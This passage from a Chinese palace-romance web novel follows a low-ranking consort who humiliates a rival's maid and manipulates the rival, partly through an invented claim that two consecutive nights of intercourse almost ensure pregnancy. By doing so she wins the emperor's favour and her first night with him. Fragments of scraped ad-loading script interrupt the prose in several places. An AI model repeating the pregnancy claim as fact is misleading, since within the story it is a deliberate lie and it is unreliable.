正值暑夏,明裳侧身躺在凉席上,手中的蒲扇徐徐扇动,牵起一股凉风,那双纤细白皙的柔荑仿若上好的美玉,精雕细琢不过如此。 闻辛柳所言,女子蹙起了一对儿精致的柳叶眉尖儿,声音柔柔透着股慵懒的娇嫩,“柳美人是已故柳侧妃的嫡亲妹妹,倒底与旁人不同。” 辛柳上前接了蒲扇,为主子清凉,“柳美人得宠,恐怕要更加嚣张了。” 明裳没把柳美人放在心上,越是嚣张越是容易露出把柄,反倒是那些不露声色的才最应该忌惮。 不过她确实看不透皇上的心思,上回算计了陆才人,她有意透漏身份,那位即便得知了内情,却一不惩治于她,二对此不闻不问,倒底是政务太忙,还是没将她这些把戏放在心上。 顺湘苑安安静静,圣驾到了丽景轩,上回侍寝还是在四个月前,这夜柳美人着湖蓝的齐胸襦裙,眉眼含羞地等在外面,暖风吹来,手中掐出了薄汗,终于见一抹玄色入眼,柳美人眼眸顿时一亮,紧张地抚了抚发鬓,柔柔弯腰福礼,“嫔妾请皇上安。” 后宫百花颜色皆好,柳美人在其中算不上明艳俏丽,但这身襦裙衬她,乌发齐挽,露出修长的脖颈,衬得人盈盈弱弱,小家碧玉。 李怀修看着眼前精心打扮的女子,脸色淡淡,他并非不知后宫嫔妃那些深藏起的小心思,见得多,便不觉得新鲜,反而索然无味。 他抬手把人扶起来,脸上没什么表情,“爱妃不必多礼。” 男人干燥温热的手掌轻握着着柳美人的手心,听不出语气的一句话,却叫柳美人愈发羞赧,那只手也不愿离开。 翌日天明,柳美人早早起了身,简单净了面,接过宫人捧着的戏珠龙纹衮服,为男人更衣。 后宫那般多的嫔妃到御前送羹汤,皇上偏偏只接了她的,召了她侍寝,听闻丽妃娘娘病愈后,牌子挂了多日,也不见皇上临幸。 这分偏宠让柳美人生出了些许的期待。她指尖叩紧了腰封,不着痕迹地抬起眸,似是无意道:“嫔妾近来研究了云中山人的棋谱,有几处不明,不知可否能得皇上指点。” 李怀修阖着眼,由她理着朝服阔袖,“云中棋谱深奥,你若想学,朕挑几本合适的命人送到你宫中。” 柳美人捋平衣袖暗纹的指尖微顿,抬眸间,只见男人面容深沉如水,平静得看不出情绪。 柳美人并非愚钝,听得出来皇上是让她不要动那些小心思,这般回答,已经是给她留了颜面。 她动作一瞬僵住,本以为皇上待她有几分特殊,难道这些特殊全是因为姐姐吗?皇上待姐姐,就那般的好? 圣驾离开丽景轩,柳美人当即发作,一把拂去了案上凉透的茶水糕点,噼里啪啦,满地狼藉。 彩芸瞧见主子发怒,心中大惊,扑通跪到地上,“主子侍寝本是天大的喜事,何必跟自己过不去啊!” 柳美人流着泪,凄凉一笑,“我恨姐姐死得太早,又庆幸姐姐早早死了,不然哪得的机会入宫。” 彩芸急忙劝慰,“奴婢倒觉得这是好事,倘若侧妃娘娘活着,到现在早已是色衰爱弛,姿容怎比得过主子。皇上爱新鲜,主子入宫或早或迟,如今得皇上眼,他日有了皇子,在这后宫里更是得天独厚的一份,何愁无宠!” 皇上御极两年,后宫仅有阮嫔生下的宝珠公主,倘若她先诞下皇子,后宫谁不得对她毕恭毕敬,届时皇上又怎会不怜惜她。 如此一想,柳美人倚回床榻里,眼眸微垂,无声地抚了抚平坦的小腹,皇上从不重欲,召嫔妃侍寝,一向是到了时辰就歇下,这一回,会留下皇嗣么? …… '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >顺湘苑置于永和宫西偏殿,圣驾出永和宫,经过宫墙甬道,便是顺湘苑的殿门。 全福海照着皇上的意思,早把虞宝林的家世查了个干净,经过这儿,下意识向里面瞄去,宝林的位份确实不高,但门庭也不至于如此冷清,那些伺候的下人都去哪了。 他心里正琢磨着,余光觑向銮舆,却见皇上不咸不淡地往里扫了瞬,全福海把这细枝末节记在心里,虞宝林有本事,还没见到皇上,就让皇上无形中记住了人。 按理说皇上召柳美人侍寝,顺路经过顺湘苑,倘若是别宫的主子,早早就等在这截人,偏偏虞宝林与众不同,如此端着,也不知要等到什么时候才能侍寝,皇上前朝的政务忙不过来,哪会一直惦记着后宫的女人。 …… 昨夜柳美人侍寝,这日问安难免得意,她穿着绯红色的齐胸襦裙,梳堕云髻,眼尾的媚色格外招人眼。只是柳美人的肌肤天生就不是似雪的白,这身红艳,瞧着倒有些不伦不类。 出了坤宁宫,明裳位份低,落在最后面,回顺湘苑没多久,丽景轩就过来了人。 彩芸敷衍地福过身子,眼珠肆意打量一圈内殿的穷酸样,好笑道:“宝林主子是给工人赏不出例钱了么,瞧瞧这殿里,端茶送水的都不见一个。” 月香气得手心攥紧,暗瞪过去,哼声:“狗眼看人低的东西留着有什么用!” 这句话不知是在骂那些宫人,还是在指桑骂槐。彩芸脸色一变,态度更是傲慢,“按理说宝林主子这般身份,纵使美人主子不是永和宫主位,宝林主子也合该每日去给美人主子问安。更何况昨儿个美人主子侍寝,宝林主子不该恭恭敬敬地去伺候么?” 话音落下,辛柳严声斥道:“放肆!宝林主子又非你这样的奴才,怎可用伺候二字?” 虞宝林自从住进顺湘苑一直谨小慎微,奉柳美人话为皋臬,从不敢反驳。乍然被顺湘苑宫人厉声,彩芸一时没反应过来,不禁有些讷讷,转而想到自家主子不论是身份宠爱都远高于虞宝林,她怕什么。 彩芸没搭理辛柳,直接看向了虞宝林,没有半分奴才的规矩,鄙夷道:“宝林主子就是这般管束奴才的?果然是小门小户出身,没个教养!” “你!”月香气得牙根咬紧,辛柳不动声色地拉了一把,月香憋着闷气,不情不愿地住了音儿。 明裳自始至终没说过话,闻言挑出一笑,慢悠悠地放下手中的茶水,“彩芸姑娘是柳姐姐身边的一等宫女?” 彩芸端起架子,“奴婢自府邸就伺候美人主子,深得主子信任。” 明裳不紧不慢地“哦”了声,“宫里规矩多,既然深得柳姐姐信任,长此以往,难免会给柳姐姐招惹祸端。” “今日我便替柳姐姐,好好教教你宫里的规矩。” 她侧倚身子,指尖点着眉心,漂亮的双眸懒懒闲闲地抬起,轻巧勾唇,“月香,掌嘴二十,先让彩芸姑娘清楚清楚自己的身份。” 5. 第 5 章 月香大喜,她早就看不顺眼彩芸的目中无人,在外面被几番挤兑,为了主子不得不忍气吞声,如今既然主子发话,她自然是不会手软。 月香性子虽是泼辣,却也绝不蠢笨,瞧着彩芸吓住的模样,脸上挂笑,一本正经,“主子心善,替美人主子管束你这个不知尊卑的奴才,你当谢恩才是。” 边说边朝彩芸走去,伺候的辛小五有眼色地一把压住彩芸的胳膊,彩芸见虞宝林竟不是玩笑,脸色登时就白了,拼命挣扎喊道:“虞宝林,奴婢是柳美人身边的人,虞宝林责罚奴婢,就不怕把美人主子得罪了吗!” “宝林主子责罚你,可全然是为了美人主子,谈何得罪!”月香冷冷一笑,扬起手臂一巴掌就落了下去,“啪”的一声,尤其清脆。彩芸整齐的发髻歪斜到一侧,不等她回过神,又一巴掌正正好好地打到了侧脸。 两巴掌过去,彩芸彻底醒过神,两边脸火辣辣的疼,见月香还没有收手的势头,扑通跪下来,审时度势地哭求,“奴婢知错,奴婢知错,宝林主子大人不记小人过,饶了奴婢吧!” 明裳眉眼飞斜,浅描淡写地扫过彩芸脸上红通通的巴掌印,“我进宫三个月,尚不懂宫里的规矩,听教养嬷嬷说,主子责罚奴才,掌嘴少则要够二十个。瞧你有心悔过,我便不与你计较那十个,但规矩还是不能乱。” 彩芸惊恐地看向窄榻里坐着的女子,那张娇花似的芙蓉面,看似柔弱,实则是裹了层花骨朵的刺玫,小小宝林,刚进到宫里,居然敢不给主子半分颜面! 她费力地咽了咽唾沫,袖中的手心攥紧,眉眼透着股狠毒的阴冷。 …… 妙清提着长嘴壶,悉心给尚宫局送来的芍药浇水,长嘴壶撂到地上,一抬眼就见彩芸姐姐从外面急急地进来,三两步上了台阶,打远还好,离得近了,妙清才发现彩云姐姐发鬓散乱,整张脸通红无比,活像个发面馒头。 彩芸是美人主子身边的大宫女,平常在下面人前趾高气扬,妙清做事愚钝,没少受过责罚,今日瞧见彩云如此狼狈,简直大快人心,面上没敢表现出来,忍住笑,故作担忧地上前扶人,“姐姐这是打哪回的,怎么弄成这样?” 彩芸捏着帕子,几欲咬碎了牙根,“不得圣宠还如此嚣张,等我秉明了主子,定要把今日受的气讨回来!” 她骤然转过脸,“主子可是在歇着?” 妙清缩缩脖子,被彩芸阴沉的模样吓到,弱弱地点了点头,又道:“主子方才在找彩云姐姐,但姐姐不在。” “我知道了。”彩芸拂了拂裙摆的尘土,正要掀帘进去,眼眸轻动,将鬓边的簪子往外拽了两下,做成摇摇欲坠的模样,眼眶里酝酿出水雾,踉踉跄跄,颇为狼狈地进了内殿。 “主子……!” …… 此番掌嘴彩芸,明裳料想柳美人会仗着位份过来压她一头。 月香到尚食局取了午膳,用到中途,辛小五躬身进来,眼底担忧,“主子,柳美人过来了。” 明裳眼眸一动,她倒没想到柳美人来的这么快。 柳美人一进来,就端足了势头,眉梢怒气冲冲地竖起,“虞宝林好大的胆子,彩芸一言一行都是受我所指,虞宝林难不成也敢责罚于我吗!” 彩芸听她的话行事,顺湘苑的虞宝林出身低微,生得漂亮又如何,不得圣宠,在这宫里终究要人老珠黄,仰仗他人鼻息。本以为任她搓扁,不想敢下她的脸面,倒是小看了这女子。 柳美人穿着到坤宁宫问安的那身绯红襦裙,耳铛换成了鎏金的明月,明艳的颜色挑人,柳美人肌肤并不是赛雪的白皙,如此一穿不免俗艳。 明裳弯腰福礼,礼数恭恭敬敬,挑不到半分错处,“柳姐姐此话何意?” “我责罚于她,全然是因为她目无尊卑,迟早要为姐姐惹下祸端,我是为姐姐着想。” 几缕青丝垂到颊边,女子模样温温柔柔,若非彩芸身形狼狈,亲口所说,柳美人难以相信在她面前伏低做小的虞宝林敢责打她的人。 “少在我面前巧舌如簧!”柳美人冷笑,“彩芸自有分寸,分明是你对我心有不满,嫉妒我昨夜侍寝,才把怨气施加到我的人身上。” 一席话说得颇有道理。 明裳转身亲手奉了茶水,柳美人看也没看,抬手打翻了杯盏,温烫的茶水飞溅出去,茶杯咕溜溜滚到墙角,明裳站着没动,垂下眼,取出帕子轻轻拭去手背的水渍。 “皇上今夜又不会召柳姐姐侍寝,柳姐姐侍寝却不得圣宠,我何必嫉妒呢?” 今夜又不会召柳姐姐侍寝—— 柳姐姐侍寝却不得圣宠—— 像两把刀子,重重往柳美人心窝子上戳。 柳美人咬牙切齿,脸色十分精彩,她深呼两息,眼前晕眩,鞋跟往后退了半步,彩芸忙上前去扶她,柳美人手心紧捂胸口,“你……贱人!” “你算什么东西,敢这么跟我说话!” 天家薄情,追根到底,那位从没把后宫哪个女子放在心上,但总有人自命不凡,以为自己是最特殊的那个。 柳美人倚仗皇上对柳侧妃的余恩,才承得几回雨露,但这恩典,终究是要慢慢淡下去,或早或晚,明裳不介意推上一把。 她不着痕迹地转开话头,“入宫前,府里的教养嬷嬷曾提过一件秘事,听闻男子与女子只要连着两夜欢好,那女子便有九成的把握受孕。” “也不知这句话倒底是不是真的。” 柳美人顿住,细眉微拧,眼中却是在深深思索。她可不认为这女子是为她着想,但……一旦是真的。 “你为何跟我说这个?” 明裳那双眸子有意无意看向彩芸,柳美人注意到她的视线,也疑惑地朝彩芸看了一眼,彩芸被看得僵住,听虞宝林隐有不满道:“皇上怜惜姐姐,便是因姐姐心善,彩芸在姐姐身边伺候多年,想必姐姐待她太好,才不忍责罚于她。但彩芸的性 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子实在蠢笨,妹妹也是为姐姐好,敲打于她,不想却成了误会。” 彩芸嘴角扯了扯,她蠢笨?虞宝林真弄得好一手颠倒是非黑白! 她正欲辩解,哪知主子却似是信了虞宝林的话,蹙着眉尖儿深看了彩芸一眼。 柳美人不由想起入宫前夕,母亲为她准备的贴身宫女是母亲身边的大丫头,稳重懂事,处处为主子计量。母亲曾说,“你身边的彩芸心性尚轻,愚钝不堪,不可担当大用……” 她当时听不惯母亲这番话,执拗地带了彩芸入宫,而今再次听到有人提及彩芸蠢笨,她不禁放在了心上,想起昨夜侍寝,守门在传来碎瓷器的动静,心里一阵生厌。 即便彩芸蠢笨,可也由不得这贱人去说。她奚落自己的事儿可还没过去! 明裳不给她开口的机会,扶着辛柳的手坐回了窄榻,往窗外渐渐西斜的日头瞄了眼,“嫔妾听闻御膳房送去御前的午膳原模原样端了回来,料想晚膳大抵也是如此。” 柳美人眼珠一动,皇上未用膳,岂不正是她借机送羹汤的好时候。 她皱起眉,“你为何要说这些?” 明裳眸色浅淡,柔声真诚道:“嫔妾不得圣宠,住在永和宫日后还要仰仗柳姐姐。告知柳姐姐这些消息,自然是为了讨好姐姐。” 柳美人虽半信半疑,仍忍不住露出几分得色,“算你还有几分聪明!” 今夜侍了寝,待明日再与她算账! 柳美人出了内殿,月香换了新的杯盏为主子沏茶,直到现在,她还不明白主子在做什么。主子入宫就谨小慎微,虽不会吃柳美人的暗亏,却是隐忍着,从不会像今日般锋芒毕露,她更不信,主子真的是为了讨好柳美人。 心中想,不禁问出声,“主子这是何意?” 而且,她怎的不记得教养嬷嬷说过那番话,提到这儿,月香脸颊微红,也不知主子是怎么面不改色把男女欢好那种事说出口的。 明裳眉眼轻抬,嘴边挂着轻轻浅浅的笑,似水的眸子波光流转,看得月香一时脸红。 有些事不必说的太过明白,明裳低眸把玩着手腕的碧玺手串,忽而开口,“找几个宫灯放到水亭里,再将那身云锦湘水缎子取出来。” 女子眼眸淡淡,仿若在说一件寻常不过的事儿。但她知晓,过了今夜,才是入宫这条路的真正开始。 …… 乾坤宫 午膳原模原样端了下去,全福海急得不行,淮南奏报,有件棘手的大事儿要皇上处理,就这么着,午膳整整耽搁了两个时辰。 全福海在殿门外唉声叹气,对着端膳的小太监摆了摆手。 这时候,就见远远地过来一人。待那人走近,全福海才看清,呦,这不是昨夜侍寝的柳美人嘛!柳美人这时候过来是做什么。 全福海不得细想,对着走近的人做了礼,瞄见后面的两提食盒,心中了然,又有几分纳闷,柳美人这是……又要请皇上过去? 6. 第 6 章 “听说皇上还未用午膳,我不免忧心,便过来看看。” 全福海伺候在皇上身边多年,这话听了不下千百遍,早就起茧子了。皇上不用膳,后宫就没有不忧心的主子,却也是正盼着,巴巴过来御前,求得皇上恩宠。 昨夜这位主子刚侍寝,全福海是个人精,念在已故柳侧妃份儿上,柳美人还有的得宠的日子,他不愿得罪,赔笑道:“皇上政务繁忙,无暇用膳,不如美人主子交给奴才,奴才亲自呈到御前。” 柳美人听得出来,这话不过是推辞,全福海伺候在皇上身边,对皇上心思要比她了解得多。皇上不喜后宫嫔妃干政,她执意进去,难免惹得皇上不虞,可交给全福海,焉知进了谁的肚子。 思量再三,柳美人倒底不敢扰了皇上政务,依依不舍地瞄了眼关紧的殿门,吩咐宫人将食盒交给全福海,“有劳公公。” 全福海将食盒送到内殿,是在半刻之后。柳美人来的不是时候,走的也不是时候,倘使稍晚一会儿,大抵也就见到了皇上。 李怀修靠着椅背,指腹疲倦压了压眉心,看见他手里拎着的东西,眉梢轻挑,不知为何,无端想起今早从永和宫出去,经过顺湘苑那条路。 李怀修眯起眸子,难得生出一丝兴味,“她送的?” 她?她是谁? 全福海自诩没人比他更知圣意,可这句她,还是让他捋不清思绪了,皇上说的她是谁? 他不敢胡乱去猜,转个弯,顺着皇上的意思,“正是柳美人送来的,皇上处理政务,奴才不敢进来打扰。” 李怀修微怔,面容冷淡下来,朝全福海睨去,“柳美人?” 全福海这下知道,皇上方才提的人不是柳美人,既然不是柳美人,还能有谁让皇上记得。 蓦地,全福海想起今儿皇上离开永和宫,可是有意无意往顺湘苑里看了一眼,不知虞宝林是真不懂事还是有意吊着皇上,这么久了一点动静都没有,别说来御前,就是嫔妃惯用的偶遇,都不去用,皇上如今上了心,到御前露个脸,还愁不能侍寝么? 全福海装傻充愣,讪笑道,“正是柳美人。” 李怀修推了推拇指的玉戒,神色不明,“去查查又出了什么事。” 若非有人唆使,柳氏不会没那个眼色,又跑到御前。 全福海不明白皇上的意思,柳美人到御前送膳,自是来求恩宠,能有什么事?不过皇上既然发了话,就是没有事,全福海也得给查出来。 不成想这么一查,还真查出事端。全福海顿时生了冷汗,从陆才人那事就看出这位虞宝林不好招惹,想不到手段竟如此厉害,三言两语就挑拨离间了柳美人的亲信,甚至唆使柳美人到乾坤宫讨嫌。 他原原本本地秉明。 闻言,李怀修脸色难看至极,“男子与女子只要连着两夜欢好,女子便有九成的把握受孕?” “这是那女子说出的话?” “简直胆大包天!” 全福海心脏扑通一跳,惊出满头冷汗,扑通跪在地上,心惊胆颤,一声也不敢吭。这虞宝林也确实是好大的胆子,宫里头用心计的嫔妃自是为了争宠,得皇上召幸,可也从没人敢像虞宝林这般,不知死活。 良久,他听见皇上沉声下令,“今夜去永和宫。” 全福海心脏扑通扑通跳着,愣了下,有点没反应过来,很快忙应了“是。” 过会儿他才转过弯,觑着皇上神色不明的脸,恍然大悟,原来虞宝林打的是这个主意,皇上也并非不明白虞宝林的意思,说不好听的,就是一个愿打一个愿挨,能不能成事,全看虞宝林的手段了。 不过雷霆雨露,俱是天恩。皇上要宠幸谁,全凭皇上的心思,倘若虞宝林不能一举得皇上眼,敢几次三番这么算计,怕是也要落得与陆才人一般的下场。 …… 丽景轩 得知今夜又是丽景轩落灯,柳美人面生红晕,欣喜若狂。旁的嫔妃一月侍寝一回都是多的,她竟能接连侍寝,可见皇上仍是钟爱自己。思及此,柳美人掩唇娇笑,不免有些洋洋自得。 怕皇上看腻了昨日的衣着,吩咐宫人取了新裁的靛青束颈长裙,画远山眉,唇瓣涂染用了淡红的朱砂,对镜抚鬓,端的是书香才女的柔婉姿容。 柳美人对今夜的妆容颇为满意,日头还没落下,早早就去了殿门等着。 约莫过了两刻钟,柳美人站僵了身子,终于等到人,脸上立即挽起笑,近前福身,“嫔妾请皇上安。” 眼前的女子穿着靛青,如盈盈盎然的春色,引人不禁多看。但李怀修的心思显然并不在这,他漫不经心地把人扶起来,“爱妃不必多礼。” 满心得了圣宠的柳美人以为自己在皇上心里终究是有几分不同,并未察觉男人的漫不经心。 她含羞带怯,不敢去看男人的眼,“不知皇上可用了晚膳,嫔妾还叫人备……” 话音儿没等落下,听见西偏殿传出的一阵骚乱,晦明沉沉中,映出几点橙黄的光亮,借着如水的月华,徐徐袅袅,耳边是淙淙流水般的筝鸣,潇潇悦耳。 这时,李怀修侧过身,望着夜幕中的灯火,面容不明,“怎么回事?” 全福海眼观鼻鼻观心,早早就叫人去打听,小太监刚好回来,他听了,下意识朝柳美人觑了眼,躬身道:“皇上,是顺湘苑的宝林主子在放孔明灯。” 听到顺湘苑三字,柳美人直接僵住了身子,方才了然虞宝林为何说那番话,原来是想截她的宠!柳美人只恨自己中了这女子的奸计,又见皇上生出兴致,怕皇上真被那个贱人勾走,下意识拉住李怀修的衣袖,撑起笑脸,“皇上,时候不早……” 李怀修没说什么,只掀起眼轻描淡写地掠去,狭长的凤眸中透着淡淡的不虞。 全福海看得心惊,瞧着柳美人僵硬的笑脸心中啧啧,这便是天家的薄情,前一刻宠着,后一刻立马就能置身事外。柳美人要是聪明,就该明白,今夜注定是要竹篮打水,一场空。 圣驾倒底是去了顺湘苑,柳美人气得身子发抖,偏生这时候彩芸没眼色地说话,“虞宝林竟如此心机,算计主子!” “蠢货!”柳美人捏紧帕子,气不打一出来,“若非是你蠢笨……” 她何至于着了虞宝林的路子! 彩芸惊恐地跪下身,连连叩头,“奴婢愚蠢,主子恕罪!” …… 顺湘苑 光是凭几盏孔明灯可难夺得皇上的欢心,全福海跟在后头,等着看这虞宝林还有什么争宠的手段。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 进了顺湘苑殿门,全福海不禁咋舌,圣驾到来,哪处宫所不是仆从接迎,宫灯高挂,不想这顺湘苑竟是如此冷清,冷清不说,连个人影都不见,就是这么接驾的?换作旁人,脑袋不知道掉几回了! 黑灯瞎火的小径,不知过了多久,眼前才出现一抹细微的亮光,仿若峰回路转,目光所及,四角水亭中,宫灯透亮,水袖击打亭中白皮鼓面,发出几声铮鸣。女子身形窈窕,舞姿蹁跹,轻盈灵动,湘水缎子飘摇曳曳,风流婉转。 全福海瞄了眼皇上晦暗不清的脸色,忍住笑,挥手带宫人退了下去。 刚守到外面,就瞧见殿外急着脚步进来的人影,宫灯的光亮照出女子的面容,全福海心头一跳,不动声色地吩咐小太监截住了进来的人。 “奴才请柳美人安。” 被截了宠,柳美人哪还有好气,皮笑肉不笑地让他免礼。 她回丽景轩坐了会儿,转过弯来,今夜分明是皇上召她侍寝,做甚让那小贱人得了便宜,君无戏言,皇上当真会看不出她的把戏,就这么纵容着?柳美人是不信,她倒要瞧瞧,那贱人耍什么花招! “全公公免礼吧,我瞧着那宫灯有趣,也想过来看看。” 对于柳美人的来意,全福海心里明镜儿似的,后宫里嫔妃多,圣心难测,谁能料想他日风光的又是谁。 何况全福海是皇上身边的奴才,自然紧着皇上,顺着皇上的心意。今儿个要是让柳美人闯进去扰了皇上的兴致,那他这个御前大公公就白当这么多年了。 全福海赔着笑脸,“奴才们放着玩,讨主子欢心的玩意儿,美人喜欢,便吩咐内务府去做。” 话头偏了八百里,柳美人稀罕看那几个孔明灯,还不是奔着皇上来的。她瞧着全福海这张油盐不进的脸,越看越来气。 “全公公今夜定是要拦着了?” 伸手不打笑脸人,全福海是御前的红人,就是皇后娘娘都得给几分薄面,这柳美人真是没个脑子,怪不得着了虞宝林的路子。 全福海没让开,腆着笑,意有所指,“美人主子想好了,今夜要是进去,日后再想见到皇上可就难了。” 三分意会,七分威胁。 狗奴才,仗着皇上的势,竟敢威胁她! 柳美人捏紧了帕子,胸口憋了股恶气,她眸光寒着,朝里面看去,侍寝又如何,后宫里侍寝的嫔妃还少么,她倒要看看,能得意到几时! …… 李怀修进了水亭,里面的女子停住了身形,眼眸怔然地看着走近的男人,似是不知他怎会忽然进来,良久缓过神,不知所措般咬紧唇瓣,屈膝福身,“嫔妾请皇上安。” 装模作样的本事确实好。 李怀修眼底几许深意,他背着手走近,宫灯下,白纱半遮半掩,遮住了半张面容,只露出一双眼眸,瞳仁乌黑,顾盼流转,秋波潋滟。 起初勾起他兴趣的是这女子欲擒故纵的小把戏,方才一舞,盈盈一握的婀娜腰身又将他的兴头提起了七分。 李怀修眼光微凝,伸手摘去了她的面纱。 轻薄的面纱随风吹拂出水亭,却无人去管。 兰膏明烛下,女子青丝雪肤,贝齿朱唇,含着水雾的眸子徐徐撩起,美得惊心动魄。 7. 第 7 章 李怀修敛下眼睑,打量着面前的女子:“你怎知朕是何人?” 选秀那日,他只到了一个时辰,择选朝中几个世家的女子,其余的秀女全权交由皇后与丽妃挑选,他记得自己挑中的几人中,并没有这个女子。 明裳垂着眸子,柔声细语道:“嫔妾听闻今夜皇上点了柳美人侍寝,此时至夜,有男子出现在此,嫔妾料想,旁人没人有这么大的胆子,敢擅闯嫔妃寝宫。” 李怀修摩挲着拇指的扳指,眼皮不抬,凉声:“旁人也没你这么大的胆子敢算计朕。” 倘若全福海在这儿伺候,早就吓得跪身请罪,当今一向喜行不怒于色,谁能知晓,皇上究竟动没动怒气。 明裳眼睫轻颤了下,入宫前,她就从父亲口中听闻圣上诸多事迹,潜邸之时,当今奉命北征,精武悍勇,力指千军,短短七个月,收复北地十三州,令蛮夷闻风丧胆。 流言里,这位上位的手段并不光彩。这位御极后,有朝臣以此谏言,最终却不知因何缘由,都不声不响地告病府中。 诚然,明裳再有十分的成算,此时仍旧有些心惊畏惧。 她垂着眸子,乖顺老实地喏喏低声:“嫔妾不敢。” 仿似一只受了惊,缩起来的小兔子。 李怀修挑了下眉,盯着这张脸蛋,忽伸手,屈指勾起了女子的下颌:“叫什么名字?” 明裳被迫仰起头,发鬓间的血玉簪子随着动作摔到地上,凉风习习,泄下的缕缕青丝如水般柔柔拂过男人修长分明的指骨。 大抵是从未与男人亲近过,冰冷的指腹一碰到那张芙蓉面,仿若初放的花骨朵般生了绯红。 女子眉目如画,音韵柔柔:“嫔妾虞氏明裳。” 指腹的烫热犹在,温凉的扳指捻了两下白腻的肌肤,顷刻就留出一道红印子。 男人的力道不轻,明裳疼得微微蹙起了眉心,可怜无辜地望着他,不自觉咬紧了下唇,唇瓣充血,愈发的嫣红靡丽,娇艳欲滴。 李怀修松开了手,指腹搓捻两下,残留着那抹柔软,好似水做的人儿。 这样的女子,在这宫里,确实新鲜。 …… 虞宝林截宠的事儿很快传到了皇后耳中,早在皇上又点柳美人侍寝时,皇后就觉出了反常,暗中派人注意着。原来皇上真不是冲着柳美人去的,可怜柳美人被人算计还不自知。 “本宫没看错人。”皇后撂了笔,将账本交给文竹。 那日选秀,虞宝林是皇后亲指的人,皇后见到虞宝林的姿容,就知晓,那位也定然喜欢。可惜没过几日她便到佛心寺祈福,前朝事务又不断,否则虞宝林定然不会到这时才入那位的眼。 日后这后宫可是要热闹了。 文竹妥当收好,走过去为皇后轻轻按压额角:“奴婢总有些担心,虞宝林用这般手段争宠,心思活络机敏,怕不容易受娘娘掌控。” “为何要受本宫掌控?”皇后抚着腕间的碧玺手钏,笑了笑,“一则,本宫留下皇上中意的人,能在皇上心里头留下个好印象。二则,有虞宝林在其中周旋,于制衡后宫也大有裨益。” “可虞宝林得宠,皇上来咱们这坤宁宫的次数就更少了。”文竹不禁心酸,“娘娘处处为皇上考虑,皇上待娘娘却总不如待那些嫔妃们宠爱。” 皇后动作顿住,脸色倏然转冷:“这话日后不许再说。” 文竹心中一惊,急急跪下身,战战兢兢请罪:“奴婢失言,娘娘恕罪!” 文竹跟随她多年,处事稳重,面面考量,甚合她心意,可有些事,心知肚明,却不能宣之于口。 皇上不宠坤宁宫,但那份敬重,后宫嫔妃没人所能拥有,如此,便也足够了。皇后不愿抱那分琴瑟和鸣的期待,有时相敬如宾,并非不好。 …… 一切水到渠成。 那对儿漂亮的玉足蜷缩到一起,脚踝被男人宽大的手掌握住,高度抬得不可思议。 这是明裳初次侍寝,入宫前教养嬷嬷就反复叮嘱过她,要想得宠,最重要的是要伺候好皇上,她红着面皮儿听完闺房那些事,夜中也有过思量,如今真真到了这时候,才知晓是如此难耐。 不是说,皇上召人侍寝一向都是守着时辰么,这么久,还没到么? 明裳眼尾泛红,被憋出了泪珠子,再聪慧沉稳,说到底也是个不识人事,十六岁的姑娘。 不止明裳纳闷,外面守夜的全福海早惊掉了下巴。 皇上自打大婚就是他在身边伺候,皇上从不重欲,每每召人侍寝都是过上两刻钟便唤人叫水,眼下这都过去多久了。全福海整整数完了一柱香,还未听见里面有传人的动静,倒是时不时会传出令人面红耳赤的声响。全福海老脸一红,真是出了奇了,在别的主子那儿他可少有听到过。 与全福海满肚子狐疑不同,辛柳和月香两个丫头脸上挂满了担心。 她们打小就伺候在主子身边,府上风光时,主子也是被娇养着长大的,老爷夫人宠得不行,稍微磕碰一下都要红红眼,里面动静那般的杂,不知皇上是怎样对待的主子,月香甚至仿佛听见了主子抽咽的哭声,越来越清晰,她脚跟一动,忍不住就要进去看看,辛柳一把拉住她的手腕,不动声色地摇了摇头,主子筹谋已久,万不能在这节骨眼儿上前功尽弃。月香死死咬紧唇,强忍着才没再有动作。 寝殿里,明裳恹恹地躺在里面,指尖儿动都懒得动,原来侍寝是这般磨人,比应付后宫的纷争还要乏累。 她眼睫颤了两下,稍许,似是无意间翻过身子,正正好好窝入男人胸怀。 李怀修眉梢一挑,对于女子的投怀送抱有些意外,也有些陌生。 他不喜与旁人过多亲近,后宫侍寝不过是例行公事,一则作为疏解,二则为了绵延后嗣。后宫嫔妃不是没有人自命不凡,以为侍寝便是合他心意,得了圣宠,李怀修对此十分不耐,冷言冷语几回,日子久了,那些人便也发现他不喜与人过多亲近,侍寝后都自觉地换上新的被褥,离得远远的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。不知这女子是没听过后宫里约定成俗的规矩,还是反其道而行之,故意如此。 更令李怀修意外的是,他对这女子竟没有不耐和厌恶。 大抵是那段柔性极佳的细腰,实在合他的心意。 男人干燥温热的掌心抚到那段腰肢上,明裳下意识轻颤了下,掌下的肌肤欺霜赛雪,滑腻如上好的羊脂玉,李怀修贪恋那一处,侧身把人揽进怀里,低目垂眼,慵懒中又透着股上位者的强势:“自幼习舞?” 明裳喉咙干涩,这时候并不想多说话,可皇上发问,话还是要回的,她点了点头,倒底是刚开了苞的姑娘,面皮儿羞涩,她乌亮的眼珠不知往何处安放,两只柔软的小手也似无处着落一般。 “嫔妾最怕吃苦,从小到大,嫔妾唯一坚持下来的唯有习舞。” 没见到人之前,李怀修印象里的这女子手段多样,心思狡诈,不想亲身相处才知晓,这女子并非狡诈,只是有些小聪明。 恰到好处,不仅不让他心生厌烦,反而倒让他尝出些从未在旁人那儿体会到的趣味。 那副羞怯生赧,又强装沉稳的模样让李怀修不免多看了两眼,他手臂用力收紧,肌肤相贴,怀里的人小兔子似的一惊,水眸撩起,带着几分警惕看他。 却不知自己这副模样有多勾人,眼尾泛红,媚眼如丝,在男人怀里简直软得要命。 …… 翌日天明,天边泛出熹微白光,明裳指尖攥了又收,许久才停下来。男人掀起帷幔,宫人端着净水白帕,恭敬地垂着头进殿伺候,没人敢看床榻一眼。 宫里头规矩,皇上起身,侍寝的嫔妃也要跟着伺候,明裳勉强睁开眸子,迷迷糊糊地撑坐起身,衾被从肩头滑落,露出大片肌肤。明裳不知旁人侍寝是否也是如此,她盖住身子,不免想起男人覆上的手掌,脸颊霎时烫红了。 